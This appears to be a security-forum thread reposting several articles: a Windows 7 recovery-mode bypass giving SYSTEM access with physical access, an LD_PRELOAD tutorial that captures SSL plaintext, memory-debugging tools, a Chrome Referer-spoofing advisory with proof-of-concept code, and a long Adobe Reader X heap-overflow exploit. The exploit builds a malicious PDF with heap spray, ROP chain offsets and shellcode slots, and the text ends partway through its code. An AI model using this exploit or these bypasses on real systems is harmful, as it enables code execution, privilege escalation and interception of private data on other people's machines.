Nytro

[h=3]Owning Windows 7 - From Recovery to "nt authority\system" - Physical Access Required[/h] Just wanted to share with you the below, which I have already communicated with Microsoft - according to MSRC team "An attacker with unrestricted physical access can certainly manipulate a system in multiple ways. This is not something we consider a security vulnerability." thus no CVE "Computer owners should provide for physical security of systems as part of best practices. There is more discussion of physical access in the "10 Immutable Laws of Security" (Ten Immutable Laws Of Security (Version 2.0)) under Law #3". The scenario is as follows: Windows 7 SP1, and Workstation with BIOS settings to restrict boot up from CD, and Workstation joined in Windows Active Directory or Standalone By forcing the machine to boot or shutdown abnormally (eg pressing the ctl+alt+del during bootup or press the power button (kill) during shutdown) Windows will enter the "Windows Error Recovery" menu asking us whether we wish to "Launch startup Repair (recommended)" or "Start Windows Normally" Select the "Launch Startup Repair (recommended)" Recovery process will display a "Windows is loading files...." message, then after a while we enter the "Startup Repair" process (graphical interface) A message might appear asking you if you want to "Restore your computer using System Restore", select Cancel, if it does. Shortly, a new message box will come up prompting us "Send information about the problem (recommended)" or "Don't send" and at the bottom of this dialog box the option with label "View problem details" exist. Click on "View problem details", you will get information such as "Problem signature" and more. Note that at the very bottom of this textarea a link exists which points to the X (temporary RAMDISK) drive (X:\windows\system32\en-US\erofflps.txt), Clicking on the link; Notepad launches. From there, one can go to File | Open view all contents of the C/D/X/etc drive, copy files to/from different locations/drives (copy files from others' C:\documents and settings\* profiles, Documents, Desktop etc), create files, launch cmd.exe. As you may have guessed all cmd commands will run from X's ramdrive context, which means you cannot just "net user newuser password /add && net localgroup administrators newuser /add" and expect newuser be there on next reboot), you may though backdoor C's Windows through other techniques;) and manipulate the filesystem as "nt authority\system", you have the full control, you are not limited. Through ms-dos prompt we noticed we had been granted with "nt authority\system" privileges which makes sense having so, to perform the recovery operation, but it's too easily for anyone to abuse them providing he has casual physical access (eg in environments such as libraries, universities, offices, reception front desks etc; I will leave your imagination from this point to work:) The above scenario is also valid if you boot the workstation using the Windows 7 Repair Disc (condition #2 "Workstation with BIOS settings to restrict boot up from CD" should not be met), at some point a Windows "System Recovery Options" dialog box will prompt you to "Load Drivers" use that option to nagivate the OS and own the host. General note: If you enter Recovery Mode by pressing F9->F8->Repair Your Computer at boot time you will not be able to reproduce the process, as Windows WILL prompt you for credentials. You have to cause an abnormal shutdown (killing windows loading process will also do), or use the Windows 7 Repair Disc. As probably others may agree with me, "nt authority\system" access should not be so easy given (or acquired by default, design, whatever, name it), at a minimum a password prompt or other control should exist to prevent the ownage. Sursa: IntelComms: Owning Windows 7 - From Recovery to "nt authority\system" - Physical Access Required

[h=1]Function Hooking Part I: Hooking Shared Library Function Calls in Linux[/h] [h=2]Justin Kettner[/h] [h=3]July 1, 2013[/h] When assessing an application for weaknesses in a linux environment, we won’t always have the luxury of freely available source code or documentation. As a result, these situations require more of a black box approach where much of the information about the application will be revealed by attempting to monitor things such as network communications, calls to cryptographic functions, and file I/O. One method of monitoring applications to extract information is to attach a debugger, such as GDB, to the process and to dump register or stack values as breakpoints are hit for the desired function calls. While this has the advantage of giving fine grained control over things such as code flow and register contents, it is also a cumbersome process compared to hooking the function calls of interest to modify their behavior. Function call hooking refers to a range of techniques used to intercept calls to pre-existing functions and wrap around them to modify the function’s behavior at runtime. In this article we’ll be focusing on function hooking in linux using the dynamic loader API, which allows us to dynamically load and execute calls from shared libraries on the system at runtime, and allows us to wrap around existing functions by making use of the LD_PRELOAD environment variable. The LD_PRELOAD environment variable is used to specify a shared library that is to be loaded first by the loader. Loading our shared library first enables us to intercept function calls and using the dynamic loader API we can bind the originally intended function to a function pointer and pass the original arguments through it, effectively wrapping the function call. Let’s use the ubiquitous “hello world” demonstration as an example. In this example we’ll intercept the puts function and change the output. Here’s our helloworld.c file: #include <stdio.h> #include <unistd.h> int main() { puts(“Hello world!\n”); return 0; } Here’s our libexample.c file: #include <stdio.h> #include <unistd.h> #include <dlfcn.h> int puts(const char *message) { int (*new_puts)(const char *message); int result; new_puts = dlsym(RTLD_NEXT, “puts”); if(strcmp(message, “Hello world!\n”) == 0) { result = new_puts(“Goodbye, cruel world!\n”); } else { result = new_puts(message); } return result; } Let’s take a moment to examine what’s going on here in our libexample.c file: Line 5 contains our puts function declaration. To intercept the original puts we define a function with the exact same name and function signature as the original libc puts function. Line 7 declares the function pointer new_puts that will point to the originally intended puts function. As before with the intercepting function declaration this pointer’s function signature must match the function signature of puts. Line 10 initializes our function pointer using the dlsym() function. The RTLD_NEXT enum tells the dynamic loader API that we want to return the next instance of the function associated with the second argument (in this case puts) in the load order. We compare the argument passed to our puts hook against “Hello world!\n” on line 12 and if it matches, we replace it with “Goodbye, cruel world!\n”. If the two strings do not match we simply pass the original message on to puts on line 14. Now let’s build everything and test it out: sigma@ubuntu:~/code$ gcc helloworld.c -o helloworld sigma@ubuntu:~/code$ gcc libexample.c -o libexample.so -fPIC -shared -ldl -D_GNU_SOURCE sigma@ubuntu:~/code$ First we compile helloworld.c as one normally would. Next we compile libexample.c into a shared library by specifying the -shared and -fPIC compile flags and link against libdl using the -ldl flag. The -D_GNU_SOURCE flag is specified to satisfy #ifdef conditions that allow us to use the RTLD_NEXT enum. Optionally this flag can be replaced by adding “#define _GNU_SOURCE” somewhere near the top of our libexample.c file. After compiling our source files, we set the LD_PRELOAD environment variable to point to the location of our newly created shared library. sigma@ubuntu:~/code$ export LD_PRELOAD=”/home/sigma/code/libexample.so” After setting LD_PRELOAD we’re ready to run our helloworld binary. Executing the binary produces the following output: sigma@ubuntu:~/code$ ./helloworld Goodbye, cruel world! sigma@ubuntu:~/code$ As expected, when our helloworld binary is executed the puts function is intercepted and “Goodbye, cruel world!” rather than the original “Hello world!” string is displayed. Now that we’re familiar with the process of hooking function calls let’s apply it towards a bit more practical example. Let’s pretend for a moment that we have an application that we are assessing and that this application uses OpenSSL to encrypt communications of sensitive data. Let’s also assume that attempts to man-in-the-middle these communications at the network level have been fruitless. To get at this sensitive data we will intercept calls to SSL_write, the function responsible for encrypting then sending data over a socket. Intercepting SSL_write will allow us to log the string sent to the function and pass the original parameters along, effectively bypassing the encryption protections while allowing the application to run normally. To get started let’s take a look at the SSL_write function definition: int SSL_write(SSL *ssl, const void *buf, int num); Here’s the code I’ve written to intercept SSL_write in hook.c: #include <stdio.h> #include <unistd.h> #include <dlfcn.h> #include <openssl/ssl.h> int SSL_write(SSL *context, const void *buffer, int bytes) { int (*new_ssl_write)(SSL *context, const void *buffer, int bytes); new_ssl_write = dlsym(RTLD_NEXT, “SSL_write”); FILE *logfile = fopen(“logfile”, “a+”); fprintf(logfile, “Process %d:\n\n%s\n\n\n”, getpid(), (char *)buffer); fclose(logfile); return new_ssl_write(context, buffer, bytes); } As we can see our function definition needs to return an integer and take three arguments: a pointer to an SSL context, a pointer to a buffer containing the string to encrypt, and the number of bytes to write. In addition to our intercepting function definition we define a matching function pointer that will point to the originally intended SSL_write function and initialize it with the dlsym function. After pointing our pointer to the original function, we log the process ID of the process calling SSL_write, and the string sent to it. Next we compile our source to a shared library: sigma@ubuntu:~/code$ gcc hook.c -o libhook.so -fPIC -shared -lssl -D_GNU_SOURCE sigma@ubuntu:~/code$ The only difference between this compilation and last is the -lssl flag, which we specify in order to link our code against the OpenSSL library. Now let’s go ahead and set LD_PRELOAD to point to our newly created libhook library: sigma@ubuntu:~/code$ export LD_PRELOAD=”/home/sigma/code/libhook.so” sigma@ubuntu:~/code$ Now that LD_PRELOAD is set we’re ready to start intercepting calls to SSL_write on processes executed from here onward. To test this let’s go ahead and use the curl utility over HTTPS and intercept the HTTPS request. sigma@ubuntu:~/code$ curl https://www.netspi.com > /dev/null % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 19086 0 19086 0 0 37437 0 –:–:– –:–:– –:–:– 60590 sigma@ubuntu:~/code$ After successful completion of the command there should be a log file that we can examine: sigma@ubuntu:~/code$ cat logfile Process 11423: GET / HTTP/1.1 User-Agent: curl/7.22.0 (i686-pc-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3 Host: www.netspi.com Accept: */* sigma@ubuntu:~/code$ As we can see the request has been logged in plaintext, while the application was allowed to function normally. Had this been a scenario where data integrity relied heavily upon SSL encryption and the assumption that man-in-the-middle attacks would be occurring only at the network level, any such integrity would have been compromised. These are really just a few examples of what’s possible using the dynamic loader API and LD_PRELOAD. Since the shared library we create will be loaded into the running process’ memory space we could do things like dump the memory of the process to examine the memory at runtime or tamper with runtime variables. Other uses for this method of function call hooking and loading generally fall under the use case of user-land rootkits and malware, which will be the focus on the next article in this series. Sursa: https://www.netspi.com/blog/2013/07/01/function-hooking-part-i-hooking-shared-library-function-calls-in-linux/

[h=1]Memory Corruption – Debugging Tools in Linux[/h] 13 hours ago by Rupali 0 In part I, we learnt about the memory corruption and the probable causes. Presently, there are plethora Linux tools available to combat the issues of memory corruption. Such Linux tools assist a great deal in detecting the memory corruption and resolving them. In this article we will cover 3 popular open source tools available for debugging memory corruption related problem on Linux. NOTE – Information related to installation of debugging tools is Ubuntu specific. [h=2]Memory Corruption Debugging Tools[/h] [h=3]1. Electric Fence[/h] Electric Fence is a memory debugger, or sometimes also called malloc debugger as it detects memory corruption related to memory allocated by malloc(). It excels in detecting two kinds of programming issues related to heap memory corruption The buffer overrun of a memory allocated by ‘malloc()’ Access to memory that has been freed by ‘free()’. Well, electric fence will detect even a read access, along with the write. The way it helps is, we run our executable in a debugger along with electric fence. and electric fence will make the program error at the point either where the buffer is going out of bounds of malloc-ed boundaries, or any access to a memory already freed. Hence, this way we come to know (with the error thrown by electric fence) about the statement attempting to corrupt a memory. In all, the crash point is moved to the precise point of the first invalid memory write/read and hence helping us to determine where memory corruption is taking place. Well, the way things change is, with gdb we’ll see the crash wherever it happens, but with efence, the crash location changes to where the corruption happens. To begin with, we will see how to set up electric fence. The following command works on Ubuntu system to install the open source tool. $ sudo apt-get install electric-fence However, one can also install electric-fence through synaptic or aptitude. Once installed, one can see that it is a library which contains overloaded definitions of malloc(), free(), calloc(), and other such memory related api’s which are generally available in libc. The way it works is, efence places an inaccessible page after each memory block allocated by ‘malloc()’. And for which it has to use the virtual memory hardware of the system. Once, we go beyond the allocated memory, it will come to know the invalid access and will trigger the error. To use electric fence, just compile the sources with ‘-g’ debug option and link it to the efence library. Lets take our old heap corruption example, which looks like, #include <stdio.h> #include <stdlib.h> int main() { int *pData = NULL; int num = 12; pData = (int*) malloc (num * sizeof (int)); //...do stuff use the memory free(pData); pData[0] = -1; pData = (int*) malloc (num * sizeof (int)); //...do stuff use the memory free(pData); return 0; } Here is how we compile the executable now using efence . $ gcc -g -Wall heapcorrupt.c -o heapcorrupt -lefence Its essential to understand in the above linking, that we are asking the final built executable to use symbols ‘malloc’ and ‘free’ from the libefence library rather than libc. For me, libefence library is place at /usr/lib/ In certain cases, if gcc is still using libc definitions, try giving the path to the library in the compilation options. Lets confirm, if our binary is using the required ‘malloc’ and ‘free’ symbols through ‘nm’ tool, which lists all the symbols. $ nm -a heapcorrupt | grep malloc U malloc Articol complet: http://mylinuxbook.com/debugging-linux-memory-corruption/

NTLM Authentication Library 1.4 Authored by Grant Edwards | Site josefsson.org The NTLM library contains utilities for authenticating against Microsoft servers that require NTLM authentication. The goal of this project is to make libntlm easier to build (by using autoconf, automake, and libtool) for use by other projects. Download: http://packetstormsecurity.com/files/download/122321/libntlm-1.4.tar.gz Sursa: NTLM Authentication Library 1.4 ? Packet Storm

[h=1]It's Too Late—Malware Has Already Won[/h]Published: Friday, 5 Jul 2013 | 9:55 AM ET By: Gaurav Banga, Co-founder and CEO of Bromium Our society has never before had so much valuable data online, nor been so poorly protected. The barbarians are at the gate. To change the odds, chief information security officers (CISOs) will need to do things differently, take a few risks and adopt new approaches to secure the enterprise. The current approach has failed, and "more of the same" will not suffice. The CISO of a Fortune 50 company recently shared with me that their approach to solve the problem of advanced persistent threats was to "mandate two of every security product from different vendors," from firewalls to intrusion detection and prevention systems—and in doing so gain "defense in depth." Certainly the organization doubled its costs, but is it now measurably more secure? No. "Defense in depth" is a term used too often in hope, when in fact we are facing a "phase shift" in the technology and approaches used by attackers. Imagine that you have a pot of water on the stove. It gets hotter and hotter, but it's still water. But there's a fascinating point where the addition of a single joule of energy transforms water to steam: a phase shift. If your approach involves finding ways to contain water (bigger/better pots, for example) a phase shift to steam is a very big deal. In fact, you're probably out of luck. The water in our pot has turned to steam and is escaping: It is impossible to build a malware detector that can keep up with advanced polymorphic malware—either at the network perimeter, or at the endpoint. This is a simple restatement of the Halting Problem, proven in 1936 by Alan Turing (who is considered to be the father of the field of computer science)—there can be no general procedure to decide if a self-contained computer program will eventually halt. Moreover, detection is vastly different from protection. Putting a lid on the pot will not contain the steam, and might well lead to an explosion. Many enterprise compromises that are discovered are found weeks or months after the attack—giving attackers plenty of time to further penetrate the infrastructure and steal data. We need a phase shift in our approach to the problem of endpoint security. Every device must be able to protect itself "in the wild"—away from the traditional enterprise network perimeter. Users are increasingly mobile, accessing applications from untrusted networks and over the Web, and will make mistakes and click on the wrong things. And a broader trend, toward consumerization of the endpoint, means that user-owned devices will increasingly be used for work. The phase shift that is needed will deliver endpoints that are secure by design.This will result from hardware enforced isolation, rather than from software-based detection. Hardware-protected devices can use attestation to ensure that an endpoint initializes to a known-good state. In addition, new approaches, such as Bromium micro-virtualization, allow hardware to protect applications, the operating system and data at runtime, to extract and analyze malware for incident response, and to make endpoints self-remediating. The enterprise security landscape is changing profoundly. CISOs must take bold steps forward to adopt new practices to dramatically reduce enterprise insecurity: new OS versions, automated OS and application patching, encryption, and hardware-based protection are vital in a consumer oriented world where devices access cloud-based applications directly, and where the attacker has access to massive computing power. —By Gaurav Banga, co-founder and CEO of Bromium. Sursa: It's Too Late—Malware Has Already Won

Google Chrome 25.0.1364.152 HTTP Referer Header Faking Authored by Liad Mizrachi Advisory: XMLHttpRequest HTTP Referer Header Faking Author: Liad Mizrachi Vendor URL: http://www.chromium.org/ Vulnerability Status: Fixed Application Version: Google Chrome v25.0.1364.152 ========================== Vulnerability Description ========================== Chromium is the open source web browser project from which Google Chrome draws its source code. Chromium fails to validate the use of unsafe headers when the page is load from the local drive, allowing to set and change the referer header using "setRequestHeader" when generating a Ajax (XMLHttpRequest) request. ========================== PoC ========================== function SendReq() { var xmlhttp = new XmlHttpRequest(); xmlHttp.onreadystatechange = readyStateChanged; xmlHttp.open("GET", "http://AnySite.com/checkReferer.php", true); xmlHttp.setRequestHeader("Referer", "http://valid.referer.com"); xmlHttp.send(); } ========================== Solution ========================== Block all scripts from setting unsafe headers in XMLHttpRequest. - Fixed by vendor. ========================== Disclosure Timeline ========================== 04-Mar-2013 - Google Security Team informed by mail. 14-Mar-2013 - Google Security Team Reply: "Since ChromeOS is an open source project, please file the report directly in their bug tracker" 14-Mar-2013 - Security Bug Opened @ Chromium project. 30-Apr-2013 - Fixed. ========================== References ========================== http://www.chromium.org/ https://codereview.chromium.org/13979011/ Sursa: Google Chrome 25.0.1364.152 HTTP Referer Header Faking ? Packet Storm

[h=1]Adobe Reader X 10.1.4.38 - BMP/RLE Heap Corruption[/h] ''' Title: Adobe Reader X BMP/RLE heap corruption Product: Adobe Reader X Version: 10.x Product Homepage: adobe.com Binary affected: AcroForm.api Binary Version: 10.1.4.38 Binary MD5: 8e0fc0c6f206b84e265cc3076c4b9841 Configuration Requirements ----------------------------------------- Default configuration. Vulnerability Requirements ----------------------------------------- None. Vulnerability Description ----------------------------------------- Adobe Reader X fails to validate the input when parsing an embedded BMP RLE encoded image. Arbitrary code execution in the context of the sandboxed process is proved possible after a malicious embeded bmp image triggers a heap overflow. Vulnerability WorkAround (if possible) ----------------------------------------- Delete AcroForm.api ''' from hashlib import md5 import sys, struct ######### Begin of the miniPDF import zlib #For constructing a minimal pdf file ## PDF REference 3rd edition:: 3.2 Objects class PDFObject: def __init__(self): self.n=None self.v=None def __str__(self): raise Exception("Fail") ## PDF REference 3rd edition:: 3.2.1 Booleans Objects class PDFBool(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): if self.s: return "true" return "false" ## PDF REference 3rd edition:: 3.2.2 Numeric Objects class PDFNum(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): return "%s"%self.s ## PDF REference 3rd edition:: 3.2.3 String Objects class PDFString(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): return "(%s)"%self.s ## PDF REference 3rd edition:: 3.2.3 String Objects / Hexadecimal Strings class PDFHexString(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): return "<" + "".join(["%02x"%ord(c) for c in self.s]) + ">" ## A convenient type of literal Strings class PDFOctalString(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s="".join(["\\%03o"%ord(c) for c in s]) def __str__(self): return "(%s)"%self.s ## PDF REference 3rd edition:: 3.2.4 Name Objects class PDFName(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): return "/%s"%self.s ## PDF REference 3rd edition:: 3.2.5 Array Objects class PDFArray(PDFObject): def __init__(self,s): PDFObject.__init__(self) assert type(s) == type([]) self.s=s def append(self,o): self.s.append(o) return self def __str__(self): return "[%s]"%(" ".join([ o.__str__() for o in self.s])) ## PDF REference 3rd edition:: 3.2.6 Dictionary Objects class PDFDict(PDFObject): def __init__(self, d={}): PDFObject.__init__(self) self.dict = {} for k in d: self.dict[k]=d[k] def __iter__(self): for k in self.dict.keys(): yield k def __iterkeys__(self): for k in self.dict.keys(): yield k def __getitem__(self, key): return self.dict[key] def add(self,name,obj): self.dict[name] = obj def get(self,name): if name in self.dict.keys(): return self.dict[name] else: return None def __str__(self): s="<<" for name in self.dict: s+="%s %s "%(PDFName(name),self.dict[name]) s+=">>" return s ## PDF REference 3rd edition:: 3.2.7 Stream Objects class PDFStream(PDFDict): def __init__(self,d={},stream=""): PDFDict.__init__(self,d) self.stream=stream self.filtered=self.stream self.add('Length', len(stream)) self.filters = [] def appendFilter(self, filter): self.filters.append(filter) self._applyFilters() #yeah every time .. so what! def _applyFilters(self): self.filtered = self.stream for f in self.filters: self.filtered = f.encode(self.filtered) if len(self.filters)>0: self.add('Length', len(self.filtered)) self.add('Filter', PDFArray([f.name for f in self.filters])) #Add Filter parameters ? def __str__(self): self._applyFilters() #yeah every time .. so what! s="" s+=PDFDict.__str__(self) s+="\nstream\n" s+=self.filtered s+="\nendstream" return s ## PDF REference 3rd edition:: 3.2.8 Null Object class PDFNull(PDFObject): def __init__(self): PDFObject.__init__(self) def __str__(self): return "null" ## PDF REference 3rd edition:: 3.2.9 Indirect Objects class UnResolved(PDFObject): def __init__(self,n,v): PDFObject.__init__(self) self.n=n self.v=v def __str__(self): return "UNRESOLVED(%d %d)"%(self.n,self.v) class PDFRef(PDFObject): def __init__(self,obj): PDFObject.__init__(self) self.obj=[obj] def __str__(self): if len(self.obj)==0: return "null" return "%d %d R"%(self.obj[0].n,self.obj[0].v) ## PDF REference 3rd edition:: 3.3 Filters ## Example Filter... class FlateDecode: name = PDFName('FlateDecode') def __init__(self): pass def encode(self,stream): return zlib.compress(stream) def decode(self,stream): return zlib.decompress(stream) ## PDF REference 3rd edition:: 3.4 File Structure ## Simplest file structure... class PDFDoc(): def __init__(self,obfuscate=0): self.objs=[] self.info=None self.root=None def setRoot(self,root): self.root=root def setInfo(self,info): self.info=info def _add(self,obj): if obj.v!=None or obj.n!=None: raise Exception("Already added!!!") obj.v=0 obj.n=1+len(self.objs) self.objs.append(obj) def add(self,obj): if type(obj) != type([]): self._add(obj); else: for o in obj: self._add(o) def _header(self): return "%PDF-1.5\n%\xE7\xF3\xCF\xD3\n" def __str__(self): doc1 = self._header() xref = {} for obj in self.objs: xref[obj.n] = len(doc1) doc1+="%d %d obj\n"%(obj.n,obj.v) doc1+=obj.__str__() doc1+="\nendobj\n" posxref=len(doc1) doc1+="xref\n" doc1+="0 %d\n"%(len(self.objs)+1) doc1+="0000000000 65535 f \n" for xr in xref.keys(): doc1+= "%010d %05d n \n"%(xref[xr],0) doc1+="trailer\n" trailer = PDFDict() trailer.add("Size",len(self.objs)+1) if self.root == None: raise Exception("Root not set!") trailer.add("Root",PDFRef(self.root)) if self.info: trailer.add("Info",PDFRef(self.info)) doc1+=trailer.__str__() doc1+="\nstartxref\n%d\n"%posxref doc1+="%%EOF" return doc1 ######### End of miniPDF SLIDESIZE=0x12C def mkBMP(payload, exception=True): bmp = '' #getInfoHeader bfType = 0x4d42 assert bfType in [0x4d42,0x4349,0x5043,0x4943,0x5043] #0x4142: not supp bmp += struct.pack('<H', bfType) bfSize = 0 bfOffBits = 0 bmp += struct.pack('<L', bfSize) bmp += struct.pack('<H', 0) #Reserved1 bmp += struct.pack('<H', 0) #Reserved2 bmp += struct.pack('<L', bfOffBits) biSize = 0x40 assert not biSize in [0x12] bmp += struct.pack('<L', biSize) biHeight = 1 biWidth = SLIDESIZE #size of texture structure LFH enabled biPlanes = 1 biBitCount = 8 biCompression = 1 biSizeImage = 0 biXPelsPerMeter = 0 biYPelsPerMeter = 0 biClrUsed = 2 if biClrUsed >0xff: raise "BUG!!!!" biClrImportant = 0 bmp += struct.pack('<L', biWidth) bmp += struct.pack('<L', biHeight) bmp += struct.pack('<H', biPlanes) bmp += struct.pack('<H', biBitCount) bmp += struct.pack('<L', biCompression) bmp += struct.pack('<L', biSizeImage) bmp += struct.pack('<L', biXPelsPerMeter) bmp += struct.pack('<L', biYPelsPerMeter) bmp += struct.pack('<L', biClrUsed) bmp += struct.pack('<L', biClrImportant) bmp += 'A'*(biSize-0x40) #pad numColors=biClrUsed if biClrUsed == 0 or biBitCount < 8: numColors = 1<<biBitCount; bmp += 'RGBA'*(numColors) #pallete bmp += '\x00\x02\xff\x00' * ((0xffffffff-0xff) / 0xff) #while (len(bmp)+10)%0x400 != 0: # bmp += '\x00\x02\x00\x00' assert len(payload) < 0x100 and len(payload) >= 3 bmp += '\x00\x02'+chr(0x100-len(payload))+'\x00' bmp += '\x00'+chr(len(payload))+payload if len(payload)&1 : bmp += 'P' if exception: bmp += '\x00\x02\x00\xff'*10 #getting the pointer outside the texture so it triggers an exception bmp += '\x00'+chr(10)+'X'*10 else: bmp += '\x00\x01' #'\x04X'*(biWidth+2000)+"\x00\x02" return bmp def UEncode(s): r = '' s += '\x00'*(len(s)%2) for i in range(0,len(s),2): r+= '\\u%04x'%(struct.unpack('<H', (s[i:i+2]))[0]) return r r = '' for c in s: r+= '%%%02x'%ord(c) return r def mkXFAPDF(shellcode = '\x90'*0x400+'\xcc'): xdp = ''' <xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/" timeStamp="2012-11-23T13:41:54Z" uuid="0aa46f9b-2c50-42d4-ab0b-1a1015321da7"> <template xmlns:xfa="http://www.xfa.org/schema/xfa-template/3.1/" xmlns="http://www.xfa.org/schema/xfa-template/3.0/"> <?formServer defaultPDFRenderFormat acrobat9.1static?> <?formServer allowRenderCaching 0?> <?formServer formModel both?> <subform name="form1" layout="tb" locale="en_US" restoreState="auto"> <pageSet> <pageArea name="Page1" id="Page1"> <contentArea x="0.25in" y="0.25in" w="576pt" h="756pt"/> <medium stock="default" short="612pt" long="792pt"/> <?templateDesigner expand 1?> </pageArea> <?templateDesigner expand 1?> </pageSet> <variables> <script name="util" contentType="application/x-javascript"> // Convenience functions to pack and unpack litle endian an utf-16 strings function pack(i){ var low = (i & 0xffff); var high = ((i>>16) & 0xffff); return String.fromCharCode(low)+String.fromCharCode(high); } function unpackAt(s, pos){ return s.charCodeAt(pos) + (s.charCodeAt(pos+1)<<16); } function packs(s){ result = ""; for (i=0;i<s.length;i+=2) result += String.fromCharCode(s.charCodeAt(i) + (s.charCodeAt(i+1)<<8)); return result; } function packh(s){ return String.fromCharCode(parseInt(s.slice(2,4)+s.slice(0,2),16)); } function packhs(s){ result = ""; for (i=0;i<s.length;i+=4) result += packh(s.slice(i,i+4)); return result; } var verbose = 1; function message(x){ if (util.verbose == 1 ) xfa.host.messageBox(x); } //ROP0 //7201E63D XCHG EAX,ESP //7201E63E RETN //ROP1 //7200100A JMP DWORD PTR DS:[KERNEL32.GetModuleHandle] //ROP2 //7238EF5C PUSH EAX //7238EF5D CALL DWORD PTR DS:[KERNEL32.GetProcAddress] //7238EF63 TEST EAX,EAX //7238EF65 JNE SHORT 7238EF84 //7238EF84 POP EBP //7238EF85 RETN 4 //ROP3 //72001186 JMP EAX ; kernel32.VirtualProtect //ROP4 //72242491 ADD ESP,70 //72242494 RETN var _offsets = {'Reader": { "10.104": { "acrord32": 0xA4, "rop0": 0x1E63D, "rop1": 0x100A, "rop2": 0x38EF5C, "rop3": 0x1186, "rop4": 0x242491, }, "10.105": { // Added by Eddie Mitchell "acrord32": 0xA5, "rop0": 0x1E52D, "rop1": 0x100A, "rop2": 0x393526, "rop3": 0x1186, "rop4": 0x245E71, }, "10.106": { // Added by Eddie Mitchell "acrord32": 0xA5, "rop0": 0x1E52D, "rop1": 0x100A, "rop2": 0x393526, "rop3": 0x1186, "rop4": 0x245E71, }, }, "Exchange-Pro": { "10.105": { // Added by Eddie Mitchell "acrobat": 0xCD, "rop0": 0x3720D, "rop1": 0x100A, "rop2": 0x3DCC91, "rop3": 0x180F, "rop4": 0x25F2A1, }, }, }; function offset(x){ //app.viewerType will be "Reader" for Reader, //"Exchange" for Acrobat Standard or "Exchange-Pro" for Acrobat Pro try { return _offsets[app.viewerType][app.viewerVersion][x]; } catch (e) { xfa.host.messageBox("Type:" +app.viewerType+ " Version: "+app.viewerVersion+" NOT SUPPORTED!"); } return 0x41414141; } </script> <script name="spray" contentType="application/x-javascript"> // Global variable for spraying var slide_size=%%SLIDESIZE%%; var size = 200; var chunkx = "%%MINICHUNKX%%"; var x = new Array(size); var y = new Array(size); var z = new Array(size); var pointers = new Array(100); var done = 0; </script> <?templateDesigner expand 1?> </variables> <subform w="576pt" h="756pt"> <!-- This image fiel hold the cashing image --> <field name="ImageCrash"> <ui> <imageEdit/> </ui> <value> <image aspect="actual" contentType="image/jpeg">%%BMPFREELFH%%</image> </value> </field> </subform> <event activity="initialize" name="event__initialize"> <script contentType="application/x-javascript"> // This script runs at the very beginning and // is used to prepare the memory layout util.message("Initialize"); var i; var j; if (spray.done == 0){ //Trigger LFH use var TOKEN = "\u5858\u5858\u5678\u1234"; var chunk_len = spray.slide_size/2-1-(TOKEN.length+2+2); for (i=0; i < spray.size; i+=1) spray.x[i] = TOKEN + util.pack(i) + spray.chunkx.substring(0, chunk_len) + util.pack(i) + ""; util.message("Initial spray done!"); for (j=0; j < size; j++) for (i=spray.size-1; i > spray.size/4; i-=10) spray.x[i]=null; spray.done = 1; util.message("Generating holes done!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"); } // After this the form layout is rendered and the bug triggered </script> </event> <event activity="docReady" ref="$host" name="event__docReady"> <script contentType="application/x-javascript"> // This script runs once the page is ready util.message("DocReady"); var i; var j; var found = -1; // Index of the overlapped string var acro = 0; // Base of the AcroRd32_dll // Search over all strings for the first one with the broken TOKEN for (i=0; i < spray.size; i+=1) if ((spray.x[i]!=null) && (spray.x[i][0] != "\u5858")){ found = i; acro = (( util.unpackAt(spray.x[i], 14) >> 16) - util.offset("acrord32")) << 16; util.message("Found! String number "+ found + " has been corrupted acrord32.dll:" + acro.toString(16) ); break; } // Behaviour is mostly undefined if not found if (found == -1){ util.message("Corrupted String NOT Found!"); event.target.closeDoc(true); } // Corrupted string was found let's generates the new // string for overlapping the struct before freeing it var chunky = ""; for (i=0; i < 7; i+=1) chunky += util.pack(0x41414141); chunky += util.pack(0x10101000); while (chunky.length < spray.slide_size/2) chunky += util.pack(0x58585858); // Free the overlapping string util.message("Feeing corrupted string! Previous string will we used-free ("+(found)+")"); for (j=0; j < 100000; j++) spray.x[found-1]=spray.x[found]=null; // Trigger several allocs that will fall over the structure for (i=0; i < 200; i+=1){ ID = "" + i; spray.y[i] = chunky.substring(0,spray.slide_size/2-ID.length) + ID+ ""; } util.message("Allocated 20 chunks-y\\n"); // Heap spraying make's baby jesus cry! // Construct the 0x1000 small chunk for spraying var obj = 0x10101000; var pointer_slide = ""; pointer_slide += util.pack(acro+util.offset("rop4")); //add esp,70;ret for (i=0; i < 27; i+=1) pointer_slide += util.pack(0x41414141); obj += pointer_slide.length*2; // ROP pointer_slide += util.pack(acro+util.offset("rop0")); //XCHG EAX,ESP;ret pointer_slide += util.pack(acro+util.offset("rop1")); //0x100A jmp getmodule pointer_slide += util.pack(acro+util.offset("rop2")); //@0x04 - getProcAddress pointer_slide += util.pack(obj+0xDC); //@0x08 point to KERNEL32 //@0x10 pointer_slide += util.pack(obj+0xCC); pointer_slide += util.pack(0x43434343); // POPPED TO EBP pointer_slide += util.pack(acro+util.offset("rop3")); // JMP EAX pointer_slide += util.pack(obj); //Points to offset 0 of this //@0x20 pointer_slide += util.pack(obj+0x38); pointer_slide += util.pack(obj+0x38); pointer_slide += util.pack(0x1000); //SIZE_T dwSize, pointer_slide += util.pack(0x40); // DWORD flNewProtect, //0x30 pointer_slide += util.pack(obj+0x34); //PDWORD lpflOldProtect pointer_slide += util.pack(0x00000000); //DWORD OldProtect pointer_slide += util.packhs("E9B1000000909090"); //0x40 pointer_slide += util.pack(acro); //Used by next stage pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += util.pack(0xCCCCCCCC); //0x50 pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += util.pack(0xCCCCCCCC); //0x60 pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += 